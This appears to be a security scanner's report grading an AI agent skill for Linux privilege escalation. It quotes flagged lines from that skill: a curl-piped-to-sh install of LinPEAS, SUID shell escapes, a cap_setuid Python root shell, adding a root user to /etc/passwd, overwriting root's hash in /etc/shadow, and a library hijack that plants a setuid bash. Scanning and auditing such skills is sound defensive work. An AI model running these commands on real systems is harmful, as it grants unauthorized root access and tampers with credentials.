linux-privilege-escalation
github.com/yaklang/hack-skillsVerdict: Proceed with caution
0 critical13 high4 medium
C
SCORE 55 / 100
$skillox install linux-privilege-escalationSoon
Sign in to followFollowing emails you when a re-scan drops the grade. Opt-out is per-creator on /account/billing.
Why grade C?
score · 55 / 100The current grade reflects 13 high-severity findings (3+ HIGHs → C).
0 CRIT13 HIGH4 MED0 LOW
To reach a higher grade
- BReach Btarget score 75
Resolve 11 of 13 HIGH (cap is 2).
- AReach Atarget score 95
Resolve all 13 HIGH + 2 of 4 MED (cap is 2).
Thresholds are documented at /docs/grading. Source-of-truth is the grade() function in @skillox/scanner.
Latest scan findings
Scan crawl-wf85hv660rzn647cshpijt00 · Thu, 28 May 2026 17:29:08 GMT · 2ms
highDangerous shell pattern: curl | shellThe skill contains a shell command pattern (`curl | shell`) commonly used in destructive or supply-chain attacks.▾
Dangerous shell pattern: curl | shell
The skill contains a shell command pattern (`curl | shell`) commonly used in destructive or supply-chain attacks.
290| Tool | Purpose | Command |
291|---|---|---|
292| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |← curl | shell — common in destructive or supply-chain attacks
293| **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` |
294| **pspy** | Monitor processes (no root needed) | `./pspy64` |
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
67```bash
68find / -writable -type f 2>/dev/null | grep -v proc
69ls -la /etc/passwd /etc/shadow # Check permissions← sensitive path — credential-exfiltration vector
70find / -perm -o+w -type d 2>/dev/null # World-writable dirs
71```
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
110| `nmap` (old) | `nmap --interactive` → `!sh` |
111| `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
112| `less` | `less /etc/passwd` → `!/bin/sh` |← sensitive path — credential-exfiltration vector
113| `cp` | Copy `/etc/passwd`, add root user, copy back |
114
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
111| `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
112| `less` | `less /etc/passwd` → `!/bin/sh` |
113| `cp` | Copy `/etc/passwd`, add root user, copy back |← sensitive path — credential-exfiltration vector
114
115### Shared Library Hijacking (SUID Binary)
highSensitive filesystem path referencedThe skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
132| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
133| `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
134| `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |← sensitive path — credential-exfiltration vector
135| `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation |
136| `cap_sys_ptrace` | **High** | Inject into root processes via ptrace |
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
214---
215
216## 6. WRITABLE /etc/passwd OR /etc/shadow← sensitive path — credential-exfiltration vector
217
218### Writable /etc/passwd
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
216## 6. WRITABLE /etc/passwd OR /etc/shadow
217
218### Writable /etc/passwd← sensitive path — credential-exfiltration vector
219
220```bash
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
224
225# Append root-equivalent user
226echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd← sensitive path — credential-exfiltration vector
227
228# Or replace root's 'x' with generated hash (if no shadow file)
highSensitive filesystem path referencedThe skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
229```
230
231### Writable /etc/shadow← sensitive path — credential-exfiltration vector
232
233```bash
highSensitive filesystem path referencedThe skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
235mkpasswd -m sha-512 password123
236
237# Replace root's hash in /etc/shadow← sensitive path — credential-exfiltration vector
238```
239
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
316├── Capabilities on binaries?
317│ ├── cap_setuid? → instant root (§3)
318│ ├── cap_dac_override? → write /etc/passwd (§6)← sensitive path — credential-exfiltration vector
319│ ├── cap_sys_admin? → mount / namespace tricks
320│ └── cap_sys_ptrace? → process injection
highSensitive filesystem path referencedThe skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/passwd`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
326│
327├── Writable sensitive files?
328│ ├── /etc/passwd writable? → add root user (§6)← sensitive path — credential-exfiltration vector
329│ ├── /etc/shadow writable? → replace root hash (§6)
330│ └── systemd unit files writable? → add ExecStartPre
highSensitive filesystem path referencedThe skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.▾
Sensitive filesystem path referenced
The skill references a path (`\/etc\/shadow`) that contains credentials or system secrets. Reading this from an unsandboxed skill is a credential-exfiltration vector.
327├── Writable sensitive files?
328│ ├── /etc/passwd writable? → add root user (§6)
329│ ├── /etc/shadow writable? → replace root hash (§6)← sensitive path — credential-exfiltration vector
330│ └── systemd unit files writable? → add ExecStartPre
331│
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
130| Capability | Risk | Exploitation |
131|---|---|---|
132| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |← spawns a subprocess outside declared capabilities
133| `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
134| `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
145# Example: python3 with cap_setuid
146# /usr/bin/python3 = cap_setuid+ep
147python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'← spawns a subprocess outside declared capabilities
148```
149
medArbitrary subprocess execution detectedThe skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.▾
Arbitrary subprocess execution detected
The skill spawns subprocesses. Without a capability manifest declaring this, the skill could execute arbitrary commands.
277cat > /writable/path/somelib.py << 'EOF'
278import os
279os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")← spawns a subprocess outside declared capabilities
280EOF
281
medNo capability manifest declaredThe skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.rule: no-manifest▾
No capability manifest declared
The skill ships without a `manifest.yaml` or `capabilities` block in its frontmatter. Without a manifest, the runtime cannot enforce what this skill is permitted to do.
rule:
no-manifestskillox.io/c/linux-privilege-escalation